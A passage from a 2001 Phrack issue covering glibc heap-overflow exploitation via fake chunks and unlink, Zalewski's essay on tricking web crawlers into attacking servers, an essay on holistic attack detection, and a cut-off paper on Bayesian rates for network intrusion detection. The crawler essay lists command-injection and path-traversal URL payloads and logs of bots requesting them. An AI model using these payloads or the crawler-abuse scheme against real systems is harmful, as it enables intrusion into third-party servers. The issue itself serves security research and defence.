Where chunk a is under your control and overflowable. Chunk b is already allocated as the overflow happens. By overwriting the first five bytes of chunk b, we trash the 'prev_size' element of the chunks header and the least significant byte of the 'size' element. Now, as chunk b is free()'d, backward consolidation pops in, since 'size' has the PREV_INUSE flag cleared (see below). If we supply a small value for 'prev_size', which is smaller than the size of chunk a, we create a fake chunk structure:

[chunk a ... fakechunk ...] [chunk b] |

p

Where prev_size of chunk b points relativly negative to the fake chunk. The code which is exploitable through this setting was already discussed:

if (!(hd & PREV_INUSE)) /* consolidate backward */

{

prevsz = p‑>prev_size;

p = chunk_at_offset(p, ‑(long)prevsz);

sz += prevsz;

if (p‑>fd == last_remainder(ar_ptr)) /* keep as last_remainder */

islr = 1;

else

unlink(p, bck, fwd);

}

'hd' is the size element of chunk b. When we overwrite it, we clear out the lower two bits, so PREV_INUSE is cleared and the if condition is matched (NUL will do it in fact). In the next few instructions 'p', which was a pointer to chunk b originally, is relocated to our fakechunk. Then the unlink macro is called and we can overwrite the pointers as usual. We use backward consolidation now, while in the previous description we have used forward consolidation. Is this all confusing? Well, when exploiting malloc overflows, do not worry about the details, they will become clearer as you understand the malloc functions from a broader scope.

For a really well done overview and description of the malloc implementation in the GNU C Library, take a look at the GNU C Library reference manual [3]. It makes a good read for non‑malloc related things, too.

Possible obstacles and how to get over with them

========================================

As with any new exploitation technique people will show up which have the 'perfect' solution to the problem in their head or in form of a patch to the malloc functions. Those people ‑ often ones who have never written an exploit themselves ‑ are misleading into a wrong sense of security and I want to leave a few words about those approaches and why they seldomly work.

There are three host based stages where you can stop a buffer overflow resulting in a compromise:

1. The bug/overflow stage

This is the place where the real overflow happens, where data is overwritten. If this place is known, the origin of the problem can be fixed (at source level). However, most approaches argue that this place is not known and therefore the problem cannot be fixed yet.

2. The activation stage

After the overflow happened parts of the data of the application are corrupted. It does not matter what kind of data, whether it is a stack frame, a malloc management record or static data behind a buffer. The process is still running its own path of code, the overwritten data is still passive. This stage is everything after the overflow itself and before the seize of execution control. This is where the natural, non‑artificially introduced hurdles for the attacker lies, code which must be passed in a certain way.

3. The seized stage

This is everything after control has been redirected from its original path of execution. This is the stage where nopspace and shellcode is executed, where no real exploitation hurdles are left.

Now for the protection systems. Most of the "non‑exec stack" and "non‑exec heap" patches try to catch the switch from stage two to three, where execution is seized, while some proprietary systems check for the origin of a system call from within kernel space. They do not forbid you to run code this way, they try to limit what code can be run.

Those systems which allow you to redirect execution in the first place are fundamentally flawed. They try to limit the exploitation in a black‑listing way, by trying to plug the places you may want to go to. But if you can execute legal code within the process space its almost everytime enough to compromise the process as a whole.

Now for the more challenging protections, which try to gripe you in stage two. Those include ‑ among others ‑ libsafe, StackGuard, FormatGuard, and any compiler or library based patches. They usually require a recompilation or relinking of your existing code, to insert their security 'measures' into your code. This includes canary values, barriers of check bytes or reordering and extensive checking of sanity before doing things which might be bad. While sanity checking in general is a good policy for security, it cannot fix stuff that was broken before. Every of those protections is assuming a certain situation of a bug which might appear in your program and try to predict the results of an attacker abusing the bug. They setup traps which they assume you will or have to trigger to exploit the bug. This is done before your control is active, so you cannot influence it much except by choosing the input data. Those are, of course much more tight than protection systems which only monitor stage three, but still there are ways around them. A couple of ways have been discussed in the past, so I will not go into depth here. Rather, I will briefly address on a protection which I already see on the horizon under a name like 'MallocGuard'.

Such a protection would not change the mechanism of malloc management chunks much, since the current code has proved to be effective. The malloc function plays a key role in overall system performance, so you cannot tweak freely here. Such a protection can only introduce a few extra checks, it cannot verify the entire consistency everytime malloc() is called. And this is where it is flawed: Once you seize control over one malloc chunk information, you can seize control over other chunks too. Because chunks are 'walked' by using either stored pointers (SysV) or stored lengths (GlibC), it is possible to 'create' new chunks. Since a sanity check would have to assume inconsistency of all chunks in the worst case, it would have to check all chunks by walking them. But this would eat up too much performance, so its impossible to check for malloc overflows easily while still keep a good performance. So, there will be no 'MallocGuard', or it will be a useless guard, in the tradition of useless pseudo protections. As a friend puts it ‑ 'for every protection there is an anti‑protection'.

Thanks

======

I would like to thank all proofreaders and correctors. For some really needed corrections I thank MaXX, who wrote the more detailed article about GNU C Library malloc in this issue of Phrack, kudos to him ! :)

References

==========

[1] Solar Designer, http://www.openwall.com/advisories/OW‑002‑netscape‑jpeg.txt

[2] DD Sleator, RE Tarjan, "Self‑Adjusting Binary Trees", 1985, http://www.acm.org/pubs/citations/journals/jacm/1985‑32‑3/p652‑sleator/

http://www.math.tau.ac.il/~haimk/adv‑ds‑2000/sleator‑tarjan‑splay.pdf

[3] The GNU C Library http://www.gnu.org/manual/glibc‑2.2.3/html_node/libc_toc.html

[4] Solaris 8 Foundation Source Program http://www.sun.com/software/solaris/source/

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Against the System

==Phrack Inc.==

Volume 0x0b, Issue 0x39, Phile #0x0a of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Against the System: Rise of the Robots ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑=[ (C)Copyright 2001 by Michal Zalewski <lcamtuf@bos.bindview.com> ]=‑=|

‑‑ [1] Introduction ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"[...] big difference between the web and traditional well controlled collections is that there is virtually no control over what people can put on the web. Couple this flexibility to publish anything with the enormous influence of search engines to route traffic and companies which deliberately manipulating search engines for profit become a serious problem."

‑‑ Sergey Brin, Lawrence Page (see references, [A])

Consider a remote exploit that is able to compromise a remote system without sending any attack code to his victim. Consider an exploit which simply creates local file to compromise thousands of computers, and which does not involve any local resources in the attack. Welcome to the world of zero‑effort exploit techniques. Welcome to the world of automation, welcome to the world of anonymous, dramatically difficult to stop attacks resulting from increasing Internet complexity.

Zero‑effort exploits create their 'wishlist', and leave it somewhere in cyberspace ‑ can be even its home host, in the place where others can find it. Others ‑ Internet workers (see references, [D]) ‑ hundreds of never sleeping, endlessly browsing information crawlers, intelligent agents, search engines... They come to pick this information, and ‑ unknowingly ‑ to attack victims. You can stop one of them, but can't stop them all. You can find out what their orders are, but you can't guess what these orders will be tomorrow, hidden somewhere in the abyss of not yet explored cyberspace.

Your private army, close at hand, picking orders you left for them on their way. You exploit them without having to compromise them. They do what they are designed for, and they do their best to accomplish it. Welcome to the new reality, where our A.I. machines can rise against us.

Consider a worm. Consider a worm which does nothing. It is carried and injected by others ‑ but not by infecting them. This worm creates a wishlist ‑ wishlist of, for example, 10,000 random addresses. And waits. Intelligent agents pick this list, with their united forces they try to attack all of them. Imagine they are not lucky, with 0.1% success ratio. Ten new hosts infected. On every of them, the worm does extactly the same ‑ and agents come back, to infect 100 hosts. The story goes ‑ or crawls, if you prefer.

Agents work virtually invisibly, people get used to their presence everywhere. And crawlers just slowly go ahead, in never‑ending loop. They work systematically, they do not choke with excessive data ‑ they crawl, there's no "boom" effect. Week after week after week, they try new hosts, carefully, not overloading network uplinks, not generating suspected traffic, recurrent exploration never ends. Can you notice they carry a worm? Possibly...

‑‑ [2] An example ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When this idea came to my mind, I tried to use the simpliest test, just to see if I am right. I targeted, if that's the right word, general‑purpose web indexing crawlers. I created very short HTML document and put it somewhere. And waited few weeks. And then they come. Altavista, Lycos and dozens of others. They found new links and picked them enthusiastically, then disappeared for days.

bigip1‑snat.sv.av.com:

GET /indexme.html HTTP/1.0

sjc‑fe5‑1.sjc.lycos.com:

GET /indexme.html HTTP/1.0

[...]

They came back later, to see what I gave them to parse.

http://somehost/cgi‑bin/script.pl?p1=../../../../attack

http://somehost/cgi‑bin/script.pl?p1=;attack

http://somehost/cgi‑bin/script.pl?p1=|attack

http://somehost/cgi‑bin/script.pl?p1=`attack`

http://somehost/cgi‑bin/script.pl?p1=$(attack)

http://somehost:54321/attack?`id`

http://somehost/AAAAAAAAAAAAAAAAAAAAA...

Our bots followed them exploiting hypotetical vulnerabilities, compromising remote servers:

sjc‑fe6‑1.sjc.lycos.com:

GET /cgi‑bin/script.pl?p1=;attack HTTP/1.0

212.135.14.10:

GET /cgi‑bin/script.pl?p1=$(attack) HTTP/1.0

bigip1‑snat.sv.av.com:

GET /cgi‑bin/script.pl?p1=../../../../attack HTTP/1.0

[...]

(BigIP is one of famous "I observe you" load balancers from F5Labs) Bots happily connected to non‑http ports I prepared for them:

GET /attack?`id` HTTP/1.0

Host: somehost

Pragma: no‑cache

Accept: text/*

User‑Agent: Scooter/1.0

From: scooter@pa.dec.com

GET /attack?`id` HTTP/1.0

User‑agent: Lycos_Spider_(T‑Rex)

From: spider@lycos.com

Accept: */*

Connection: close

Host: somehost:54321

GET /attack?`id` HTTP/1.0

Host: somehost:54321

From: crawler@fast.no

Accept: */*

User‑Agent: FAST‑WebCrawler/2.2.6 (crawler@fast.no; [...]) Connection: close

[...]

But not only publicly available crawlbot engines can be targeted. Crawlbots from alexa.com, ecn.purdue.edu, visual.com, poly.edu, inria.fr, powerinter.net, xyleme.com, and even more unidentified crawl engines found this page and enjoyed it. Some robots didn't pick all URLs. For example, some crawlers do not index scripts at all, others won't use non‑standard ports. But majority of the most powerful bots will do ‑ and even if not, trivial filtering is not the answer. Many IIS vulnerabilities and so on can be triggered without invoking any scripts.

What if this server list was randomly generated, 10,000 IPs or 10,000 .com domains? What is script.pl is replaced with invocations of three, four, five or ten most popular IIS vulnerabilities or buggy Unix scripts? What if one out of 2,000 is actually exploited?

What if somehost:54321 points to vulnerable service which can be exploited with partially user‑dependent contents of HTTP requests (I consider majority of fool‑proof services that do not drop connections after first invalid command vulnerable)? What if...

There is an army of robots, different species, different functions, different levels of intelligence. And these robots will do whatever you tell them to do. It is scary.

‑‑ [3] Social considerations ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Who is guilty if webcrawler compromises your system? The most obvious answer is: the author of original webpage crawler visited. But webpage authors are hard to trace, and web crawler indexing cycle takes weeks. It is hard to determine when specific page was put on the net ‑ they can be delivered in so many ways, processed by other robots earlier; there is no tracking mechanism we can find in SMTP protocol and many others. Moreover, many crawlers don't remember where they "learned" new URLs. Additional problems are caused by indexing flags, like "noindex" without "nofollow" option. In many cases, author's identity and attack origin wouldn't be determined, while compromises would take place.

And, finally, what if having particular link followed by bots wasn't what the author meant? Consider "educational" papers, etc ‑ bots won't read the disclaimer and big fat warning "DO NOT TRY THESE LINKS"...

By analogy to other cases, e.g. Napster forced to filter their contents (or shutdown their services) because of copyrighted information exchanged by their users, causing losses, it is reasonable to expect that intelligent bot developers would be forced to implement specific filters, or to pay enormous compensations to victims suffering because of bot abuse.

On the other hand, it seems almost impossible to successfully filter contents to elliminate malicious code, if you consider the number and wide variety of known vulnerabilities. Not to mention targeted attacks (see references, [B], for more information on proprietary solutions and their insecuritities). So the problem persists. Additional issue is that not all crawler bots are under U.S. jurisdiction, which makes whole problem more complicated (in many countries, U.S. approach is found at least controversial).

‑‑ [4] Defense ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As discussed above, webcrawler itself has very limited defense and avoidance possibilities, due to wide variety of web‑based vulnerabilities. One of more reasonable defense ideas is to use secure and up‑to‑date software, but ‑ obviously ‑ this concept is extremely unpopular for some reasons ‑ www.google.com, with unique documents filter enabled, returns 62,100 matches for "cgi vulnerability" query (see also references, [D]).

Another line of defense from bots is using /robots.txt standard robot exclusion mechanism (see references, [C], for specifications). The price you have to pay is partial or complete exclusion of your site from search engines, which, in most cases, is undesired. Also, some robots are broken, and do not respect /robots.txt when following a direct link to new website.

‑‑ [5] References ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[A] "The Anatomy of a Large‑Scale Hypertextual Web Search Engine" Googlebot concept, Sergey Brin, Lawrence Page, Stanford University URL: http://www7.scu.edu.au/programme/fullpapers/1921/com1921.htm

[B] Proprietary web solutions security, Michal Zalewski URL: http://lcamtuf.coredump.cx/milpap.txt

[C] "A Standard for Robot Exclusion", Martijn Koster URL: http://info.webcrawler.com/mak/projects/robots/norobots.html

[D] "The Web Robots Database"

URL: http://www.robotstxt.org/wc/active.html

URL: http://www.robotstxt.org/wc/active/html/type.html

[E] "Web Security FAQ", Lincoln D. Stein

URL: http://www.w3.org/Security/Faq/www‑security‑faq.html

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Holistic approaches to attack detection

==Phrack Inc.==

Volume 0x0b, Issue 0x39, Phile #0x0b of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑=[ HOLISTIC APPROACHES TO ATTACK DETECTION ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ sasha ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

"The art of writing a beautiful fugue lies precisely in [the] ability to manufacture several different lines, each one of which gives the illusion of having been written for its own beauty, and yet which when taken together form a whole which does not seem forced in any way. Now, this dichotomy between hearing a fugue as a whole, and hearing its component voices, is a particular example of a very general dichotomy, which applies to many kinds of structures built up from lower levels.

A similar analysis could be made of dozens of Escher pictures, which rely heavily upon the recognition of certain basic forms, which are then put together in nonstandard ways; and by the time the observer sees the paradox on a high level, it is too late ‑ he can't go back and change his mind about how to interpret the lower‑level objects."

‑ Douglas R. Hofstadter [Hofstadter, 1979].

"Oddly enough, one of the things that got me started was a joke, the title of a book by Douglas Adams ‑ Dirk Gently's Holistic Detective Agency. And I thought, that's an interesting phrase ‑ what would it mean to solve a crime holistically? It would mean that you'd have to 'solve' not just the crime, but the whole world in which the crime took place."

‑ Alan Moore [Moore, 2000].

‑‑‑‑| 1. Introduction

This article concerns various approaches to the problem of detecting attacks.

Specifically, we are interested in enterprise environments in which weaknesses in traditional security monitoring methods become apparent.

Holistic methods are proposed as a partial solution to some of the shortcomings in traditional reductionist approaches.

Existing research literature will be reviewed, an example enterprise security monitoring architecture that employs a holistic approach is described, and some predictions regarding the future of security monitoring are made in the concluding section.

‑‑‑‑| 2. Problem Space

Modern enterprise networks generate a vast amount of real‑time environmental data relating to security status, system status, network status, application status, and so on. Network management technologies and architectures have evolved over time to solve the problems inherent in processing large amounts of event data: event correlation, event reduction, and root‑cause analysis are all employed. Security monitoring technologies and architectures however, have not yet matured to the same extent. Most, if not all, security monitoring technologies focus on reporting low‑level events (such as observed attacks) in as much detail as possible. That approach is useful in a small environment but fails in an enterprise environment for the following reasons:

* The contextual information surrounding the detection of events might not be available due to the rate of change in the network and the possible geographic separation of event generators and management consoles.

* The "signal‑to‑noise" ratio is much higher in an enterprise environment due to the large number of event generators.

* The people performing monitoring may not have the privilege or mandate to connect to machines to investigate possible incidents, therefore they must rely purely on the event data available to them.

Current security monitoring technologies are difficult to scale for the above reasons and are therefore difficult to deploy and use in an enterprise environment.

Traditional approaches to attack detection focus exclusively on analysis based on reductionism. This article advocates a holistic approach that can work in conjunction with traditional reductionist methods and add additional value. These terms are now described below.

‑‑‑‑| 3. Reductionism and Holism

Traditional security monitoring technologies such as network and host based IDS (Intrusion Detection Systems) and host based integrity checkers, operate on a reductionist basis. The reductionist approach is based on the belief that a whole can be largely understood by examining its constituent parts; i.e. it is possible to infer the existence of an attack if a specific observation can be made. Such tools attempt to detect unauthorized change(s) or to match current activity against known indicators of misuse.

Alongside the reductionist approach is the holistic approach. Holism is based on the belief that a whole is greater than the sum of its parts; i.e. it is possible to infer the existence of an attack if a set of observations (that are perhaps superficially unrelated) can be approximately matched to a structure that represents knowledge of the methods that attacks employ at a high(er) level.

Another way to describe this distinction is as follows: reductionist methods reason by induction ‑ they reason from particular observations to generate supposed truths. Holistic methods do the reverse ‑ they start with general knowledge and predict a specific set of observations. In reality, the solution of complex problems is best achieved by long strings of mixed inductive and deductive inferences that weave back and forth between observations and internal models.

‑‑‑‑| 4. Epiphenomena and the Connection Chain Problem

The following quote is from [Hofstadter, 1979] ‑

"I would like to relate a story about a complex system. I was talking one day with two systems programmers for the computer I was using. They mentioned that the operating system seemed to be able to handle up to about thirty‑five users with great comfort, but at about thirty five users or so, the response time all of a sudden shot up, getting so slow that you might as well log off and go home and wait until later. Jokingly, I said, "Well, that's simple to fix ‑ just find the place in the operating system where the number '35' is stored, and change it to '60'!". Everyone laughed. The point is, of course, that there is no such place. Where, then, does the critical number ‑ 35 users ‑ come from?. The answer is: it is a visible consequence of the overall system organization ‑ an 'Epiphenomemon'.

Similarly, you might ask about a sprinter, "Where is the '9.3' stored, that makes him be able to run 100 yards in 9.3 seconds?". Obviously, it is not stored anywhere. His time is a result of how he is built, what his reaction time is, a million factors all interacting when he runs. The time is quite reproducible, but it is not stored in his body anywhere. It is spread around among all of the cells of his body and only manifests itself in the act of the sprint itself."

The two examples above illustrate the sort of thinking that gives rise to holistic solutions. If we concede that an event that occurs in a security monitoring architecture can often only acquire significance when viewed in the context of other activity, then we can theorize that it is possible to detect the presence of an attack by looking for epiphenomenon that occur as the by‑product of attacks. This approach has been taken to the connection chain problem.

To explain the connection chain problem it is necessary to first introduce some terminology. When an individual (or a program) connects to one computer, and from there connects to another computer, and another, that is referred to as a "connection chain".

The ability to detect a connection chain is advantageous ‑ since it is the traditional mechanism used by attackers to attempt to obfuscate their "real" (i.e. initial) location.

In [Staniford‑Chen, 1995] a system is described that can thumbprint a connection chain by monitoring the content of connections.

This is achieved by forming a signature for the data in a network connection. This signature is a small quantity which does not allow complete reconstruction of the data, but does allow comparison with signatures of other connections to determine with reasonable confidence whether the underlying connection is the same or not.

The specific technology developed to perform this task is called local thumbprinting. This involves forming linear combinations of the frequencies with which different characters occur in the network data sampled. The optimal linear combinations are chosen using a statistical methodology called principle component analysis which is shown to work successfully when given at least a minute and a half of a reasonably active network connection.

Thumbprinting relies on the fact that the content of an extended connection is invariant at all points of the chain (once protocol details are abstracted out). Thus, if the system can compute thumbprints of the content of each connection, these thumbprints can then be compared to establish whether two connections have the same content.

A weakness in this method is that disguising the content of the extended connection (such as encrypting it differently on each link of the chain) can circumvent the technology.

In [Zhang et al., 2000] the connection chain problem is approached by employing methods that do not rely on packet contents ‑ by leveraging the distinct properties of interactive network traffic (smaller packet sizes and longer idle periods for interactive traffic than for machine generated traffic) to develop an algorithm.

These examples shows that it is possible to detect attacks in a way that does not rely on the detection of individual attack techniques.

‑‑‑‑| 5. Attack‑Strategy Based Intrusion Detection

Another advantage to holistic methods that work on a "higher" layer of inference than reductionist methods is in the area of attack strategy analysis.

In [Huang et al., 2000], an IDS framework is described that can perform "intention analysis". Intention analysis takes the form of "If A occurs, then B occurs, we can predict that C will occur".

The suggested implementation mechanism in the paper is to employ a goal‑tree with the root node the ultimate goal of an attack. Lower level nodes represent alternatives or ordered sub‑goals in achieving the upper node / goal. Leaves (end nodes) are sub‑goals that can be substantiated using events that can be identified in the environment using monitoring.

The addition of a temporal aspect to the model enables the model to "predict" likely future steps in an attack as an attacker attempts to climb logically higher in the goal‑tree.

This example shows the significant extra value that can be provided by "stepping back" and analyzing event data at a higher layer. The reductionist tendency is to step forwards and look into activity in detail; the holistic tendency is to step backwards and look at activity only in the context of other activity.

Of course, a holistic model still relys on data gathered from the environment using reductionist techniques, and this is discussed along with other issues in the section below.

‑‑‑‑| 6. An Example Model for an Enterprise Security Monitoring System

Employing a holistic approach to attack detection is especially useful in enterprise environments. In such environments, the large number of event generators can report such a large amount of data that the task of detecting attacks within that dataset can only realistically be achieved programmatically; that is where holistic methods can add value.

The "event generators" mentioned above can be any component within the IT infrastructure that generates information regarding the status of some aspect of the infrastructure. The form and function of event generators is irrelevant to this discussion, although they would likely include host and network based IDS, RMON probes, firewalls, routers, hosts, and so on. Each event generator will employ an event delivery mechanism such as SNMP, syslog, ASCII log file, etc. In this article we will abstract out the delivery mechanism used to transport events prior to processing.

I propose the following model.

The data from event generators can be used to populate a knowledge structure that isomorphically describes a number of common attack methodologies. Think about the ordered set of steps that are carried out when attacking a system; this is a methodology. There are a large number of ways in which each step in an attack can be carried out, but the relationship between the steps usually remains static in terms of the underlying methodology.

An isomorphism is an information preserving transformation. It applies when two structures can be mapped onto each other in such a way that for each part of one structure there is a corresponding part in the other structure, where "corresponding" means that the two parts play similar roles in their respective structures.

A set of structures that map isomorphically to common attack methodologies can therefore be constantly compared to a structure that is being constantly populated by event data from the monitored environment.

The process used to determine when an attack is detected would use a "soft‑decision" approach. A soft‑decision process can report partial evidence when a predetermined amount of a knowledge structure is populated. A soft‑decision process can also output a level of confidence in the result at any given time, i.e. it accumulates and integrates data (events) and reports partial conclusions and the associated level of (un)certainty as new data arrives.

The advantage in this approach is that an attacker can often hide or obfuscate components of their attack by exploiting weaknesses in specific attack detection technologies or by simply being stealthy (remember ‑ we still rely on reductionist event gathering technologies "underneath"). However, the weight of data collected within the environment can be used to indicate the presence of an attack on a higher, more abstract layer, in which seemingly unrelated changes or events that occur within the environment can be shown to be related by using codified knowledge of the sequence of events that comprise different types of attacks (methodologies).

In addition, weaknesses in the ability of individual event detectors to make an accurate decision about activity (see [Ptacek, 2000]) become less damaging. Instead of relying on the absolute determination of the existence of an attack, an event detector can contribute information about what it thinks it _might_ have seen, and leave attack determination to a higher layer.

The attack structure of attacks that employ automated agents as in [Jitsu et al., 2000], or distributed agents as in [Stewart, 2000], will likely be the most simplistic to codify as they employ techniques based on programmed internal rules.

‑‑‑‑| 7. Concluding Remarks

The difficulties involved in performing security monitoring of enterprise environments has driven the recent demand for outsourced managed security monitoring services. Companies such as Guardent (www.guardent.com), Counterpane (www.counterpane), and Internet Security Systems (www.issx.com) all offer managed security services. These companies are employing technologies which are based in part on a holistic approach, for example ‑ those described in [Counterpane, 2001].

The individual components of an attack, such that an individual event generator might detect, are not "context free". The reductionist idea that each component within an attack contributes to the entirety of the attack in a manner that is independent of the other components, must be rejected. The holistic concept is that an attack cannot be considered to be built up from the context free functions of its components (a declarative approach); rather, it is considered how the components interact (a procedural approach).

From an attackers perspective, it will soon not be enough to obfuscate against detection by specific technologies. Attacks that attempt to shield themselves against detection by specific approaches to intrusion detection (for example by modulating shellcode to escape detection by specific signatures), and/or against detection by specific products, will become less effective. The next generation of security monitoring and intrusion detection technologies will employ a strategy based on holistic methods in which the underlying form and structure of attacks is codified and can subsequently be recognized.

‑‑‑‑| 8. References

[Counterpane, 2000] Counterpane Internet Security, Socrates and Sentry. http://www.counterpane.com/integrated.html

[Hofstadter, 1979] Douglas R. Hofstadter, "Godel, Escher, Bach: an Eternal Golden Braid", 20th‑Anniversary Edition, Penguin Books, 2000.

[Huang et al., 1998] Ming‑Yuh Huang and Thomas M. Wicks, "A Large‑scale Distributed Intrusion Detection Framework Based on Attack Strategy Analysis", Proc. 1st International Workshop on the Recent Advances in Intrusion Detection, Louvain‑la‑Neuve, Belgium, September 14‑16, 1998.

[Jitsu et al., 2000] Jitsu‑Disk, Simple Nomad, Irib, "Project Area52", Phrack Magazine, Volume 10, Issue 56, File 6 of 16, May 2000.

[Moore, 2000] http://independent‑sun‑01.whoc.theplanet.co.uk/enjoymen

t/Books/Interviews/2000‑07/alanmoore210700.shtml

[Ptacek et al., 2000] Thomas H. Ptacek and Timothy N. Newsham, "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion", January 1998. http://www.securityfocus.com/data/library/ids.ps

[Staniford‑Chen, 1995] Stuart Staniford‑Chen, "Distributed Tracing of Intruders", Masters Thesis, University of California, Davis, 1995.

[Stewart, 2000] Andrew J. Stewart, "Distributed Metastasis: A Computer Network Penetration Methodology", September, 1999. http://www.securityfocus.com/data/library/distri

buted_metastasis.pdf

[Zhang et al., 2000] Yin Zhang and Vern Paxson, "Detecting Stepping Stones", Proc. 9th USENIX Security Symposium, Denver, Colorado, August 2000.

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NIDS on mass parallel processing architecture

==Phrack Inc.==

Volume 0x0b, Issue 0x39, Phile #0x0c of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Network Intrusion Detection System ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ On Mass Parallel Processing Architecture ]=‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑=[ Wanderley J. Abreu Jr. <storm@stormdev.net> ]=‑‑‑‑‑‑‑‑‑=|

"Nam et Ipsa Scientia Potestas Est" ‑ Francis Bacon

1 ‑‑‑‑|Introduction:

One of the hardest challenges of the security field is to detect with a 100% certainty malicious attacks while they are occuring, and taking the most effective method to log, block and prevent it from happening again. The problem was solved, partially. About 19 years ago, Intrusion Detection System concept came to fit the market wishes to handle security problems concerning Internal/External attacks, with a low or medium cost, without major needs for trained security personnel, since any network administrator "seems" to manage them well.

But then we came across some difficulties with three demands of anomaly and policy based IDS which are: effectiveness, efficiency and ease of use.

This paper focuses on enhancing the bayesian detection rate by constructing a Depth‑Search algorithm based IDS on a mass parallel processing (MPP) environment and give a mathematical aproach to effectiveness of this model in comparision with other NIDS.

One Problem with building any software on such an expensive environment,like most MPPs, is that it is limited to a very small portion of computer community, thus we'll focus on High Performance Computer Cluster called "Class II ‑ Beowulf Class Cluster" which is a set of tools developed by NASA. These tools are used to emulate MPP environment built of x86 computers running under Linux Based Operating Systems. The paper does not intend to offer the absolute solution for false positives and false negatives generated by Network‑Based IDS, but it gives one more step towards the utopia.

2 ‑‑‑‑‑|Bayesian Detection Rate (BDR):

In 1761, Reverend Thomas Bayes brought us a concept for

govern the logical inference, determining the degree of confidence we may have, in various possible conclusions, based on the body of evidence available. Therefore, to arrive at a logically defensible prediction one must use Bayes theorem.

The Bayesian Detection Rate was first used to measure IDS effectiveness in Mr. Stefan Axelson paper "The Base‑Rate Fallacy and its Implications for the Difficulty of Intrusion Detection" presented on RAID 99 which gives a realistic perspective on how "False Alarm" rate can limit the performance of an IDS.

As said, the paper aims to increase the detection rate

reducing false alarms on the IDS model, therefore we must know the principles of Bayesian Detection Rate (BDR):

P(D|H)P(H)

P(H|D) = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

P(D|H)P(H) + P(D|H')P(H')

Let's use a simple example to ilustrate how Bayes Theorem Works:

Suppose that 2% of people your age and heredity have cancer. Suppose that a blood test has been developed that correctly gives a positive test result in 90% of people with cancer, and gives a false positive in 10% of the cases of people without cancer. Suppose you take the test, and it is positive. What is the probability that you actually have cancer, given the positive test result?

First, you must identify the Hypothesis, H, the Datum, D,

and the probabilities of the Hypothesis prior to the test, and the hit rate and false alarm rates of the test.

H = the hypothesis; in this case H is the hypothesis that you have cancer, and H' is the hypothesis that you do not.

D = the datum; in this case D is the positive test result.

P(H) is the prior probability that you have cancer, which was given in the problem as 0.02.

P(D|H) is the probability of a positive test result GIVEN that you have cancer. This is also called the HIT RATE, and was given in the problem as 0.90.

P(D|H') is the probability of a positive test result GIVEN that you do not have cancer. This is also called the FALSE ALARM rate, and was given as 0.10.

P(H|D) is the probability that you have cancer, given that the test was positive. This is also called the posterior probability or Bayesian Detection Rate.

In this case it was 0.155(16% aprox., i'd not bet the rest of my days on this test).

Applying it to Intrusion Detection Let's say that:

Ii ‑> Intrusion behaviour

Ij ‑> Normal behaviour

Ai ‑> Intrusion Alarm

Aj ‑> No Alarm

Now, what a IDS is meant to do is alarm us when log pattern really indicates an intrusion, so what we want is P(Ii|Ai), or the Bayesian Detection Rate.

P(Ii) P(Ai|Ii)

P(Ii|Ai) = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

P(Ii) P(Ai|Ii) + P (Ij) P(Ai|Ij)

Where:

True Positive Rate P(Ai|Ii):

Real Attack‑Packets Detected

P(Ai|Ii) = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Total Of Real Attack‑Packets

False Positive Rate P(Ai|Ij):

False Attack‑Packets Detected

P(Ai|Ij) = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(Total Of Packets) ‑ (Total Of Real Attack‑Packets)

Intrusive Behaviour P(Ii):

1

P(Ii) = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Total of Packets

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(Number of Packets Per Attack) * (Number of Attacks)

Non‑Intrusive Behaviour P(Ij):

P(Ij) = 1 ‑ P(Ii)

